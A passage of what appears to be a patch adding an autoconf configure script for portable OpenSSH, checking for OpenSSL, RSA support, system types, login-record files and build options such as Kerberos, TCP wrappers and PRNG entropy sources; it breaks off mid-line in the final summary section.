AC_DEFINE(HAVE_OLD_PAM) + AC_MSG_RESULT(yes) + PAM_MSG="yes (old library)" + ] + ) +fi + +# The big search for OpenSSL +AC_ARG_WITH(ssl-dir, + [ --with-ssl-dir=PATH Specify path to OpenSSL installation ], + [ + if test "x$withval" != "$xno" ; then + tryssldir=$withval + fi + ] +) + +saved_LIBS="$LIBS" +saved_LDFLAGS="$LDFLAGS" +saved_CFLAGS="$CFLAGS" +if test "x$prefix" != "xNONE" ; then + tryssldir="$tryssldir $prefix" +fi +AC_CACHE_CHECK([for OpenSSL directory], ac_cv_openssldir, [ + + for ssldir in "" $tryssldir /usr/local/openssl /usr/lib/openssl /usr/local/ssl /usr/lib/ssl /usr/local /usr/pkg /opt /opt/openssl ; do + if test ! -z "$ssldir" ; then + LDFLAGS="$saved_LDFLAGS -L$ssldir/lib -L$ssldir" + CFLAGS="$saved_CFLAGS -I$ssldir/include" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R$ssldir/lib -R$ssldir" + fi + else + LDFLAGS="$saved_LDFLAGS" + fi + + LIBS="$saved_LIBS -lcrypto" + + # Basic test to check for compatible version and correct linking + # *does not* test for RSA - that comes later. + AC_TRY_RUN( + [ +#include +#include +int main(void) +{ + char a[2048]; + memset(a, 0, sizeof(a)); + RAND_add(a, sizeof(a), sizeof(a)); + return(RAND_status() <= 0); +} + ], + [ + found_crypto=1 + break; + ], [] + ) + + if test ! -z "$found_crypto" ; then + break; + fi + done + + if test -z "$found_crypto" ; then + AC_MSG_ERROR([Could not find working SSLeay / OpenSSL libraries, please install]) + fi + if test -z "$ssldir" ; then + ssldir="(system)" + fi + + ac_cv_openssldir=$ssldir +]) + +if (test ! -z "$ac_cv_openssldir" && test "x$ac_cv_openssldir" != "x(system)") ; then + AC_DEFINE(HAVE_OPENSSL) + dnl Need to recover ssldir - test above runs in subshell + ssldir=$ac_cv_openssldir + CFLAGS="$saved_CFLAGS -I$ssldir/include" + LDFLAGS="$saved_LDFLAGS -L$ssldir/lib -L$ssldir" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R$ssldir/lib -R$ssldir" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:$ssldir:$ssldir/lib" + fi +fi +LIBS="$saved_LIBS -lcrypto" + +# Now test RSA support +saved_LIBS="$LIBS" +AC_MSG_CHECKING([for RSA support]) +for WANTS_RSAREF in "" 1 ; do + if test -z "$WANTS_RSAREF" ; then + LIBS="$saved_LIBS" + else + LIBS="$saved_LIBS -lRSAglue -lrsaref" + fi + AC_TRY_RUN([ +#include +#include +#include +#include +#include +int main(void) +{ + int num; RSA *key; static unsigned char p_in[] = "blahblah"; + unsigned char c[256], p[256]; + memset(c, 0, sizeof(c)); RAND_add(c, sizeof(c), sizeof(c)); + if ((key=RSA_generate_key(512, 3, NULL, NULL))==NULL) return(1); + num = RSA_public_encrypt(sizeof(p_in) - 1, p_in, c, key, RSA_PKCS1_PADDING); + return(-1 == RSA_private_decrypt(num, c, p, key, RSA_PKCS1_PADDING)); +} + ], + [ + rsa_works=1 + break; + ], []) +done + +if test ! -z "$no_rsa" ; then + AC_MSG_RESULT(disabled) + RSA_MSG="disabled" +else + if test -z "$rsa_works" ; then + AC_MSG_WARN([*** No RSA support found *** ]) + RSA_MSG="no" + else + if test -z "$WANTS_RSAREF" ; then + AC_MSG_RESULT(yes) + RSA_MSG="yes" + else + RSA_MSG="yes (using RSAref)" + AC_MSG_RESULT(using RSAref) + LIBS="$saved_LIBS -lcrypto -lRSAglue -lrsaref" + fi + fi +fi + +# Checks for data types +AC_CHECK_SIZEOF(char, 1) +AC_CHECK_SIZEOF(short int, 2) +AC_CHECK_SIZEOF(int, 4) +AC_CHECK_SIZEOF(long int, 4) +AC_CHECK_SIZEOF(long long int, 8) + +# More checks for data types +AC_CACHE_CHECK([for intXX_t types], ac_cv_have_intxx_t, [ + AC_TRY_COMPILE( + [ #include ], + [ int8_t a; int16_t b; int32_t c; a = b = c = 1;], + [ ac_cv_have_intxx_t="yes" ], + [ ac_cv_have_intxx_t="no" ] + ) +]) +if test "x$ac_cv_have_intxx_t" = "xyes" ; then + AC_DEFINE(HAVE_INTXX_T) + have_intxx_t=1 +fi + +AC_CACHE_CHECK([for u_intXX_t types], ac_cv_have_u_intxx_t, [ + AC_TRY_COMPILE( + [ #include ], + [ u_int8_t a; u_int16_t b; u_int32_t c; a = b = c = 1;], + [ ac_cv_have_u_intxx_t="yes" ], + [ ac_cv_have_u_intxx_t="no" ] + ) +]) +if test "x$ac_cv_have_u_intxx_t" = "xyes" ; then + AC_DEFINE(HAVE_U_INTXX_T) + have_u_intxx_t=1 +fi + + +if (test -z "$have_u_intxx_t" || test -z "$have_intxx_t" && \ + test "x$ac_cv_header_sys_bitypes_h" = "xyes") +then + AC_MSG_CHECKING([for intXX_t and u_intXX_t types in sys/bitypes.h]) + AC_TRY_COMPILE( + [ +#include + ], + [ + int8_t a; int16_t b; int32_t c; + u_int8_t e; u_int16_t f; u_int32_t g; + a = b = c = e = f = g = 1; + ], + [ + AC_DEFINE(HAVE_U_INTXX_T) + AC_DEFINE(HAVE_INTXX_T) + AC_MSG_RESULT(yes) + ], + [AC_MSG_RESULT(no)] + ) +fi + +if test -z "$have_u_intxx_t" ; then + AC_CACHE_CHECK([for uintXX_t types], ac_cv_have_uintxx_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ uint8_t a; uint16_t b; uint32_t c; a = b = c = 1; ], + [ ac_cv_have_uintxx_t="yes" ], + [ ac_cv_have_uintxx_t="no" ] + ) + ]) + if test "x$ac_cv_have_uintxx_t" = "xyes" ; then + AC_DEFINE(HAVE_UINTXX_T) + fi +fi + +AC_CACHE_CHECK([for socklen_t], ac_cv_have_socklen_t, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [socklen_t foo; foo = 1235;], + [ ac_cv_have_socklen_t="yes" ], + [ ac_cv_have_socklen_t="no" ] + ) +]) +if test "x$ac_cv_have_socklen_t" = "xyes" ; then + AC_DEFINE(HAVE_SOCKLEN_T) +fi + +AC_CACHE_CHECK([for size_t], ac_cv_have_size_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ size_t foo; foo = 1235; ], + [ ac_cv_have_size_t="yes" ], + [ ac_cv_have_size_t="no" ] + ) +]) +if test "x$ac_cv_have_size_t" = "xyes" ; then + AC_DEFINE(HAVE_SIZE_T) +fi + +AC_CACHE_CHECK([for ssize_t], ac_cv_have_ssize_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ ssize_t foo; foo = 1235; ], + [ ac_cv_have_ssize_t="yes" ], + [ ac_cv_have_ssize_t="no" ] + ) +]) +if test "x$ac_cv_have_ssize_t" = "xyes" ; then + AC_DEFINE(HAVE_SSIZE_T) +fi + +AC_CACHE_CHECK([for sa_family_t], ac_cv_have_sa_family_t, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ sa_family_t foo; foo = 1235; ], + [ ac_cv_have_sa_family_t="yes" ], + [ ac_cv_have_sa_family_t="no" ] + ) +]) +if test "x$ac_cv_have_sa_family_t" = "xyes" ; then + AC_DEFINE(HAVE_SA_FAMILY_T) +fi + +AC_CACHE_CHECK([for pid_t], ac_cv_have_pid_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ pid_t foo; foo = 1235; ], + [ ac_cv_have_pid_t="yes" ], + [ ac_cv_have_pid_t="no" ] + ) +]) +if test "x$ac_cv_have_pid_t" = "xyes" ; then + AC_DEFINE(HAVE_PID_T) +fi + +AC_CACHE_CHECK([for mode_t], ac_cv_have_mode_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ mode_t foo; foo = 1235; ], + [ ac_cv_have_mode_t="yes" ], + [ ac_cv_have_mode_t="no" ] + ) +]) +if test "x$ac_cv_have_mode_t" = "xyes" ; then + AC_DEFINE(HAVE_MODE_T) +fi + + +AC_CACHE_CHECK([for struct sockaddr_storage], ac_cv_have_struct_sockaddr_storage, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; ], + [ ac_cv_have_struct_sockaddr_storage="yes" ], + [ ac_cv_have_struct_sockaddr_storage="no" ] + ) +]) +if test "x$ac_cv_have_struct_sockaddr_storage" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_SOCKADDR_STORAGE) +fi + +AC_CACHE_CHECK([for struct sockaddr_in6], ac_cv_have_struct_sockaddr_in6, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_in6 s; s.sin6_family = 0; ], + [ ac_cv_have_struct_sockaddr_in6="yes" ], + [ ac_cv_have_struct_sockaddr_in6="no" ] + ) +]) +if test "x$ac_cv_have_struct_sockaddr_in6" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_SOCKADDR_IN6) +fi + +AC_CACHE_CHECK([for struct in6_addr], ac_cv_have_struct_in6_addr, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct in6_addr s; s.s6_addr[0] = 0; ], + [ ac_cv_have_struct_in6_addr="yes" ], + [ ac_cv_have_struct_in6_addr="no" ] + ) +]) +if test "x$ac_cv_have_struct_in6_addr" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_IN6_ADDR) +fi + +AC_CACHE_CHECK([for struct addrinfo], ac_cv_have_struct_addrinfo, [ + AC_TRY_COMPILE( + [ +#include +#include +#include + ], + [ struct addrinfo s; s.ai_flags = AI_PASSIVE; ], + [ ac_cv_have_struct_addrinfo="yes" ], + [ ac_cv_have_struct_addrinfo="no" ] + ) +]) +if test "x$ac_cv_have_struct_addrinfo" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_ADDRINFO) +fi + + +# Checks for structure members + +OSSH_CHECK_HEADER_FOR_FIELD(ut_host, utmp.h, HAVE_HOST_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_host, utmpx.h, HAVE_HOST_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(syslen, utmpx.h, HAVE_SYSLEN_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_pid, utmp.h, HAVE_PID_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_type, utmp.h, HAVE_TYPE_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_type, utmpx.h, HAVE_TYPE_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_tv, utmp.h, HAVE_TV_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_id, utmp.h, HAVE_ID_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_id, utmpx.h, HAVE_ID_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr, utmp.h, HAVE_ADDR_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr, utmpx.h, HAVE_ADDR_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr_v6, utmp.h, HAVE_ADDR_V6_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr_v6, utmpx.h, HAVE_ADDR_V6_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_exit, utmp.h, HAVE_EXIT_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_time, utmp.h, HAVE_TIME_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_time, utmpx.h, HAVE_TIME_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_tv, utmpx.h, HAVE_TV_IN_UTMPX) + +AC_CACHE_CHECK([for ss_family field in struct sockaddr_storage], + ac_cv_have_ss_family_in_struct_ss, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; s.ss_family = 1; ], + [ ac_cv_have_ss_family_in_struct_ss="yes" ], + [ ac_cv_have_ss_family_in_struct_ss="no" ], + ) +]) +if test "x$ac_cv_have_ss_family_in_struct_ss" = "xyes" ; then + AC_DEFINE(HAVE_SS_FAMILY_IN_SS) +fi + +AC_CACHE_CHECK([for __ss_family field in struct sockaddr_storage], + ac_cv_have___ss_family_in_struct_ss, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; s.__ss_family = 1; ], + [ ac_cv_have___ss_family_in_struct_ss="yes" ], + [ ac_cv_have___ss_family_in_struct_ss="no" ] + ) +]) +if test "x$ac_cv_have___ss_family_in_struct_ss" = "xyes" ; then + AC_DEFINE(HAVE___SS_FAMILY_IN_SS) +fi + + +AC_CACHE_CHECK([if libc defines __progname], ac_cv_libc_defines___progname, [ + AC_TRY_LINK([], + [ extern char *__progname; printf("%s", __progname); ], + [ ac_cv_libc_defines___progname="yes" ], + [ ac_cv_libc_defines___progname="no" ] + ) +]) +if test "x$ac_cv_libc_defines___progname" = "xyes" ; then + AC_DEFINE(HAVE___PROGNAME) +fi + + +AC_CACHE_CHECK([if libc defines sys_errlist], ac_cv_libc_defines_sys_errlist, [ + AC_TRY_LINK([], + [ extern const char *const sys_errlist[]; printf("%s", sys_errlist[0]);], + [ ac_cv_libc_defines_sys_errlist="yes" ], + [ ac_cv_libc_defines_sys_errlist="no" ] + ) +]) +if test "x$ac_cv_libc_defines_sys_errlist" = "xyes" ; then + AC_DEFINE(HAVE_SYS_ERRLIST) +fi + + +# Looking for programs, paths and files +AC_ARG_WITH(rsh, + [ --with-rsh=PATH Specify path to remote shell program ], + [ + if test "x$withval" != "$no" ; then + rsh_path=$withval + fi + ], + [ + AC_PATH_PROG(rsh_path, rsh) + ] +) + +AC_ARG_WITH(xauth, + [ --with-xauth=PATH Specify path to xauth program ], + [ + if test "x$withval" != "$xno" ; then + xauth_path=$withval + fi + ], + [ + AC_PATH_PROG(xauth_path, xauth) + if (test ! -z "$xauth_path" && test -x "/usr/openwin/bin/xauth") ; then + xauth_path="/usr/openwin/bin/xauth" + fi + ] +) + +if test ! -z "$xauth_path" ; then + AC_DEFINE_UNQUOTED(XAUTH_PATH, "$xauth_path") +fi +if test ! -z "$rsh_path" ; then + AC_DEFINE_UNQUOTED(RSH_PATH, "$rsh_path") +fi + +# Check for mail directory (last resort if we cannot get it from headers) +if test ! -z "$MAIL" ; then + maildir=`dirname $MAIL` + AC_DEFINE_UNQUOTED(MAIL_DIRECTORY, "$maildir") +fi + +if test -z "$no_dev_ptmx" ; then + AC_CHECK_FILE("/dev/ptmx", + [ + AC_DEFINE_UNQUOTED(HAVE_DEV_PTMX) + have_dev_ptmx=1 + ] + ) +fi +AC_CHECK_FILE("/dev/ptc", + [ + AC_DEFINE_UNQUOTED(HAVE_DEV_PTS_AND_PTC) + have_dev_ptc=1 + ] +) + +# Options from here on. Some of these are preset by platform above + +# Check for user-specified random device, otherwise check /dev/urandom +AC_ARG_WITH(random, + [ --with-random=FILE read randomness from FILE (default=/dev/urandom)], + [ + if test "x$withval" != "xno" ; then + RANDOM_POOL="$withval"; + AC_DEFINE_UNQUOTED(RANDOM_POOL, "$RANDOM_POOL") + fi + ], + [ + # Check for random device + AC_CHECK_FILE("/dev/urandom", + [ + RANDOM_POOL="/dev/urandom"; + AC_SUBST(RANDOM_POOL) + AC_DEFINE_UNQUOTED(RANDOM_POOL, "$RANDOM_POOL") + ] + ) + ] +) + +# Check for EGD pool file +AC_ARG_WITH(egd-pool, + [ --with-egd-pool=FILE read randomness from EGD pool FILE (default none)], + [ + if test "x$withval" != "xno" ; then + EGD_SOCKET="$withval"; + AC_DEFINE_UNQUOTED(EGD_SOCKET, "$EGD_SOCKET") + fi + ] +) + +# detect pathnames for entropy gathering commands, if we need them +INSTALL_SSH_PRNG_CMDS="" +rm -f prng_commands +if (test -z "$RANDOM_POOL" && test -z "$EGD_SOCKET") ; then + # Use these commands to collect entropy + OSSH_PATH_ENTROPY_PROG(PROG_LS, ls) + OSSH_PATH_ENTROPY_PROG(PROG_NETSTAT, netstat) + OSSH_PATH_ENTROPY_PROG(PROG_ARP, arp) + OSSH_PATH_ENTROPY_PROG(PROG_IFCONFIG, ifconfig) + OSSH_PATH_ENTROPY_PROG(PROG_PS, ps) + OSSH_PATH_ENTROPY_PROG(PROG_W, w) + OSSH_PATH_ENTROPY_PROG(PROG_WHO, who) + OSSH_PATH_ENTROPY_PROG(PROG_LAST, last) + OSSH_PATH_ENTROPY_PROG(PROG_LASTLOG, lastlog) + OSSH_PATH_ENTROPY_PROG(PROG_DF, df) + OSSH_PATH_ENTROPY_PROG(PROG_VMSTAT, vmstat) + OSSH_PATH_ENTROPY_PROG(PROG_UPTIME, uptime) + OSSH_PATH_ENTROPY_PROG(PROG_IPCS, ipcs) + OSSH_PATH_ENTROPY_PROG(PROG_TAIL, tail) + OSSH_PATH_ENTROPY_PROG(PROG_LS, ls) + + INSTALL_SSH_PRNG_CMDS="yes" +fi +AC_SUBST(INSTALL_SSH_PRNG_CMDS) + + +AC_ARG_WITH(catman, + [ --with-catman=man|cat Install preformatted manpages[no]], + [ + MANTYPE='$(CATMAN)' + if test x"$withval" != x"yes" ; then + mansubdir=$withval + else + mansubdir=cat + fi + ], [ + if test -z "$MANTYPE" ; then + MANTYPE='$(TROFFMAN)' + mansubdir=man + fi + ] +) +AC_SUBST(MANTYPE) +AC_SUBST(mansubdir) + +# Check whether user wants Kerberos support +KRB4_MSG="no" +AC_ARG_WITH(kerberos4, + [ --with-kerberos4=PATH Enable Kerberos 4 support], + [ + if test "x$withval" != "xno" ; then + + if test "x$withval" != "$xyes" ; then + CFLAGS="$CFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R${withval}/lib" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:${withval}/lib" + fi + else + if test -d /usr/include/kerberosIV ; then + CFLAGS="$CFLAGS -I/usr/include/kerberosIV" + fi + fi + + AC_CHECK_HEADERS(krb.h) + AC_CHECK_LIB(krb, main) + if test "$ac_cv_header_krb_h" != yes; then + AC_MSG_WARN([Cannot find krb.h, build may fail]) + fi + if test "$ac_cv_lib_krb_main" != yes; then + AC_MSG_WARN([Cannot find libkrb, build may fail]) + fi + + KLIBS="-lkrb -ldes" + AC_CHECK_LIB(resolv, dn_expand, , ) + KRB4=yes + KRB4_MSG="yes" + AC_DEFINE(KRB4) + fi + ] +) + +# Check whether user wants AFS support +AFS_MSG="no" +AC_ARG_WITH(afs, + [ --with-afs=PATH Enable AFS support], + [ + if test "x$withval" != "xno" ; then + + if test "x$withval" != "$xyes" ; then + CFLAGS="$CFLAGS -I${withval}/include" + LFLAGS="$LFLAGS -L${withval}/lib" + fi + + if test -z "$KRB4" ; then + AC_MSG_WARN([AFS requires Kerberos IV support, build may fail]) + fi + + LIBS="$LIBS -lkafs" + if test ! -z "$AFS_LIBS" ; then + LIBS="$LIBS $AFS_LIBS" + fi + AC_DEFINE(AFS) + AFS_MSG="yes" + fi + ] +) +LIBS="$LIBS $KLIBS" + +# Check whether user wants S/Key support +SKEY_MSG="no" +AC_ARG_WITH(skey, + [ --with-skey Enable S/Key support], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(SKEY) + LIBS="$LIBS -lskey" + SKEY_MSG="yes" + fi + ] +) + +# Check whether user wants TCP wrappers support +TCPW_MSG="no" +AC_ARG_WITH(tcp-wrappers, + [ --with-tcp-wrappers Enable tcpwrappers support], + [ + if test "x$withval" != "xno" ; then + saved_LIBS="$LIBS" + LIBS="$LIBS -lwrap" + AC_MSG_CHECKING(for libwrap) + AC_TRY_LINK( + [ +#include + int deny_severity = 0, allow_severity = 0; + ], + [hosts_access(0);], + [ + AC_MSG_RESULT(yes) + AC_DEFINE(LIBWRAP) + TCPW_MSG="yes" + ], + [ + AC_MSG_ERROR([*** libwrap missing]) + ] + ) + fi + ] +) + +# Check whether to enable MD5 passwords +MD5_MSG="no" +AC_ARG_WITH(md5-passwords, + [ --with-md5-passwords Enable use of MD5 passwords], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(HAVE_MD5_PASSWORDS) + MD5_MSG="yes" + fi + ] +) + +# Whether to disable shadow password support +AC_ARG_WITH(shadow, + [ --without-shadow Disable shadow password support], + [ + if test "x$withval" = "xno" ; then + AC_DEFINE(DISABLE_SHADOW) + disable_shadow=yes + fi + ] +) + +if test -z "$disable_shadow" ; then + AC_MSG_CHECKING([if the systems has expire shadow information]) + AC_TRY_COMPILE( + [ +#include +#include + struct spwd sp; + ],[ sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; ], + [ sp_expire_available=yes ], [] + ) + + if test "x$sp_expire_available" = "xyes" ; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAS_SHADOW_EXPIRE) + else + AC_MSG_RESULT(no) + fi +fi + +# Use ip address instead of hostname in $DISPLAY +DISPLAY_HACK_MSG="no" +AC_ARG_WITH(ipaddr-display, + [ --with-ipaddr-display Use ip address instead of hostname in \$DISPLAY], + [ + if test "x$withval" = "xno" ; then + AC_DEFINE(IPADDR_IN_DISPLAY) + DISPLAY_HACK_MSG="yes" + fi + ] +) + +# Whether to mess with the default path +SERVER_PATH_MSG="(default)" +AC_ARG_WITH(default-path, + [ --with-default-path=PATH Specify default \$PATH environment for server], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE_UNQUOTED(USER_PATH, "$withval") + SERVER_PATH_MSG="$withval" + fi + ] +) + +# Whether to force IPv4 by default (needed on broken glibc Linux) +IPV4_HACK_MSG="no" +AC_ARG_WITH(ipv4-default, + [ --with-ipv4-default Use IPv4 by connections unless '-6' specified], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(IPV4_DEFAULT) + IPV4_HACK_MSG="yes" + fi + ] +) + +AC_MSG_CHECKING([if we need to convert IPv4 in IPv6-mapped addresses]) +IPV4_IN6_HACK_MSG="no" +AC_ARG_WITH(4in6, + [ --with-4in6 Check for and convert IPv4 in IPv6 mapped addresses], + [ + if test "x$withval" != "xno" ; then + AC_MSG_RESULT(yes) + AC_DEFINE(IPV4_IN_IPV6) + IPV4_IN6_HACK_MSG="yes" + else + AC_MSG_RESULT(no) + fi + ],[ + if test "x$inet6_default_4in6" = "xyes"; then + AC_MSG_RESULT([yes (default)]) + AC_DEFINE(IPV4_IN_IPV6) + IPV4_IN6_HACK_MSG="yes" + else + AC_MSG_RESULT([no (default)]) + fi + ] +) + +# Where to place sshd.pid +piddir=/var/run +AC_ARG_WITH(pid-dir, + [ --with-pid-dir=PATH Specify location of ssh.pid file], + [ + if test "x$withval" != "xno" ; then + piddir=$withval + fi + ] +) + +AC_DEFINE_UNQUOTED(PIDDIR, "$piddir") +AC_SUBST(piddir) + +dnl allow user to disable some login recording features +AC_ARG_ENABLE(lastlog, + [ --disable-lastlog disable use of lastlog even if detected [no]], + [ AC_DEFINE(DISABLE_LASTLOG) ] +) +AC_ARG_ENABLE(utmp, + [ --disable-utmp disable use of utmp even if detected [no]], + [ AC_DEFINE(DISABLE_UTMP) ] +) +AC_ARG_ENABLE(utmpx, + [ --disable-utmpx disable use of utmpx even if detected [no]], + [ AC_DEFINE(DISABLE_UTMPX) ] +) +AC_ARG_ENABLE(wtmp, + [ --disable-wtmp disable use of wtmp even if detected [no]], + [ AC_DEFINE(DISABLE_WTMP) ] +) +AC_ARG_ENABLE(wtmpx, + [ --disable-wtmpx disable use of wtmpx even if detected [no]], + [ AC_DEFINE(DISABLE_WTMPX) ] +) +AC_ARG_ENABLE(libutil, + [ --disable-libutil disable use of libutil (login() etc.) [no]], + [ AC_DEFINE(DISABLE_LOGIN) ] +) +AC_ARG_ENABLE(pututline, + [ --disable-pututline disable use of pututline() etc. ([uw]tmp) [no]], + [ AC_DEFINE(DISABLE_PUTUTLINE) ] +) +AC_ARG_ENABLE(pututxline, + [ --disable-pututxline disable use of pututxline() etc. ([uw]tmpx) [no]], + [ AC_DEFINE(DISABLE_PUTUTXLINE) ] +) +AC_ARG_WITH(lastlog, + [ --with-lastlog=FILE|DIR specify lastlog location [common locations]], + [ conf_lastlog_location="$withval"; ],) + +dnl lastlog, [uw]tmpx? detection +dnl NOTE: set the paths in the platform section to avoid the +dnl need for command-line parameters +dnl lastlog and [uw]tmp are subject to a file search if all else fails + +dnl lastlog detection +dnl NOTE: the code itself will detect if lastlog is a directory +AC_MSG_CHECKING([if your system defines LASTLOG_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *lastlog = LASTLOG_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ + AC_MSG_RESULT(no) + AC_MSG_CHECKING([if your system defines _PATH_LASTLOG]) + AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *lastlog = _PATH_LASTLOG; ], + [ AC_MSG_RESULT(yes) ], + [ + AC_MSG_RESULT(no) + system_lastlog_path=no + ]) + ] +) + +if test -z "$conf_lastlog_location"; then + if test x"$system_lastlog_path" = x"no" ; then + for f in /var/log/lastlog /usr/adm/lastlog /var/adm/lastlog /etc/security/lastlog ; do + if (test -d "$f" || test -f "$f") ; then + conf_lastlog_location=$f + fi + done + if test -z "$conf_lastlog_location"; then + AC_MSG_WARN([** Cannot find lastlog **]) + dnl Don't define DISABLE_LASTLOG - that means we don't try wtmp/wtmpx + fi + fi +fi + +if test -n "$conf_lastlog_location"; then + AC_DEFINE_UNQUOTED(CONF_LASTLOG_FILE, "$conf_lastlog_location") +fi + +dnl utmp detection +AC_MSG_CHECKING([if your system defines UTMP_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *utmp = UTMP_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_utmp_path=no ] +) +if test -z "$conf_utmp_location"; then + if test x"$system_utmp_path" = x"no" ; then + for f in /etc/utmp /usr/adm/utmp /var/run/utmp; do + if test -f $f ; then + conf_utmp_location=$f + fi + done + if test -z "$conf_utmp_location"; then + AC_DEFINE(DISABLE_UTMP) + fi + fi +fi +if test -n "$conf_utmp_location"; then + AC_DEFINE_UNQUOTED(CONF_UTMP_FILE, "$conf_utmp_location") +fi + +dnl wtmp detection +AC_MSG_CHECKING([if your system defines WTMP_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *wtmp = WTMP_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_wtmp_path=no ] +) +if test -z "$conf_wtmp_location"; then + if test x"$system_wtmp_path" = x"no" ; then + for f in /usr/adm/wtmp /var/log/wtmp; do + if test -f $f ; then + conf_wtmp_location=$f + fi + done + if test -z "$conf_wtmp_location"; then + AC_DEFINE(DISABLE_WTMP) + fi + fi +fi +if test -n "$conf_wtmp_location"; then + AC_DEFINE_UNQUOTED(CONF_WTMP_FILE, "$conf_wtmp_location") +fi + + +dnl utmpx detection - I don't know any system so perverse as to require +dnl utmpx, but not define UTMPX_FILE (ditto wtmpx.) No doubt it's out +dnl there, though. +AC_MSG_CHECKING([if your system defines UTMPX_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *utmpx = UTMPX_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_utmpx_path=no ] +) +if test -z "$conf_utmpx_location"; then + if test x"$system_utmpx_path" = x"no" ; then + AC_DEFINE(DISABLE_UTMPX) + fi +else + AC_DEFINE_UNQUOTED(CONF_UTMPX_FILE, "$conf_utmpx_location") +fi + +dnl wtmpx detection +AC_MSG_CHECKING([if your system defines WTMPX_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *wtmpx = WTMPX_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_wtmpx_path=no ] +) +if test -z "$conf_wtmpx_location"; then + if test x"$system_wtmpx_path" = x"no" ; then + AC_DEFINE(DISABLE_WTMPX) + fi +else + AC_DEFINE_UNQUOTED(CONF_WTMPX_FILE, "$conf_wtmpx_location") +fi + + +# Change default command timeout for builtin PRNG +entropy_timeout=200 +AC_ARG_WITH(entropy-timeout, + [ --with-entropy-timeout Specify entropy gathering command timeout (msec)], + [ + if test "x$withval" != "xno" ; then + entropy_timeout=$withval + fi + ] +) +AC_DEFINE_UNQUOTED(ENTROPY_TIMEOUT_MSEC, $entropy_timeout) + + +if test ! -z "$blibpath" ; then + LDFLAGS="$LDFLAGS -blibpath:$blibpath" + AC_MSG_WARN([Please check and edit -blibpath in LDFLAGS in Makefile]) +fi + +AC_OUTPUT(Makefile ssh_prng_cmds) + +# Print summary of options + +if test x$MANTYPE = x'$(CATMAN)' ; then + MAN_MSG=cat +else + MAN_MSG=man +fi +if test ! -z "$RANDOM_POOL" ; then + RAND_MSG="Device ($RANDOM_POOL)" +else + if test ! -z "$EGD_SOCKET" ; then + RAND_MSG="EGD ($EGD_SOCKET)" + else + RAND_MSG="Builtin (timeout $entropy_timeout)" + fi +fi + +# Someone please show me a better way :) +A=`eval echo ${prefix}` ; A=`eval echo ${A}` +B=`eval echo ${bindir}` ; B=`eval echo ${B}` +C=`eval echo ${sbindir}` ; C=`eval echo ${C}` +D=`eval echo ${sysconfdir}` ; D=`eval echo ${D}` +E=`eval echo ${libexecdir}/ssh/ssh-askpass` ; E=`eval echo ${E}` +F=`eval echo ${mandir}/${mansubdir}X` ; F=`eval echo ${F}` +G=`eval 